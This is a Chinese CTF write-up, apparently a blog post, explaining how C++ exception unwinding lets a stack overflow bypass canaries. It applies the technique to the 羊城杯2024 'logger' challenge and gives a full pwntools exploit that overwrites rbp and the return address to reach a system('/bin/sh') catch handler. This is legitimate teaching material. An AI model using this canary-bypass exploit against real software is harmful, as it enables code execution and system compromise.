基础知识

感谢这位师傅的博客,然我茅塞顿开!!

原理

c++中当某个函数throw某个exception时,程序便会从当前函数开始向上回溯调用链,直到找到匹配的catch,执行完catch后,便会接着在catch所在函数继续执行。

结论

异常处理本身存在一些问题,并且使得canary这样的栈保护机制无效。因为异常抛出后的代码不会执行,自然也不会检测canary,自然也不会调用stack_check_fail(). 在此基础上我们发现了一些控制程序流的方式:

  • 通过覆盖rbp,进而控制程序流走向。当然前提是栈帧的确使用rbp存储,因为一些情况下程序只依靠rsp增减。
  • 通过覆盖ret地址,使异常被另外一个handler处理
  • 在某些情况下还可以通过伪造覆盖类虚表的手法,使其在cleanup handler执行析构函数的时候劫持程序流(本文不做详细分析)

覆盖ret地址后,就会去执行ret地址的handler函数。前提是这个handler函数要能够匹配这样的异常。

例题

羊城杯2024 logger

❯ checksec pwn
[*] '/home/yang/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

这是一个c++程序。

漏洞分析和利用思路

trace中存在栈溢出,byte_404020数组长度为0x80,但是可以写0x90数据。

溢出后可以将src中字符串覆盖。

warn中,如果我们想buf中输入数据超过0x10字节,就会触发c++的异常处理函数,并且将src作为参数rdi

并且buf处还存在栈溢出,我们可以控制rbpret的值,也就可以使用上面提到的c++异常处理机制绕过canary。因为在__cxa_throw执行异常函数后,后面的代码就不会执行了。

在ida右侧的动态链接函数处我们发现有system,交叉引用定位到调用位置,这其实也是一个handler异常处理函数,并且刚好能匹配异常,因为我们的异常传来的参数也是char const*

所以我们控制传来的参数为/bin/sh就行,也就是在trace中溢出覆盖src/bin/sh.

warn中我们控制rbp为可写地址,这里选在data1=0x404100.

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8
from LibcSearcher import *

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
r = process("./pwn")
# io = remote("139.155.126.78", 33424)

elf=ELF("./pwn")
# libc=ELF('./libc.so.6')

def trace(data,choice):
r.recvuntil(b'Your chocie:')
r.sendline(b'1')
r.recvuntil(b'You can record log details here: ')
r.send(data)
r.recvuntil(b'Do you need to check the records? ')
r.sendline(choice)
def warn(data):
r.recvuntil(b'Your chocie:')
r.sendline(b'2')
r.recvuntil(b'[!] Type your message here plz: ')
r.send(data)

pause()
catch=0x401BC7
data1=0x404100
for i in range(8):
trace(b'a'*0x10,b'n')
trace(b'/bin/sh'+b'\x00'*9,b'y')
pay = p64(data1)*15+p64(catch)
warn(pay)
r.interactive()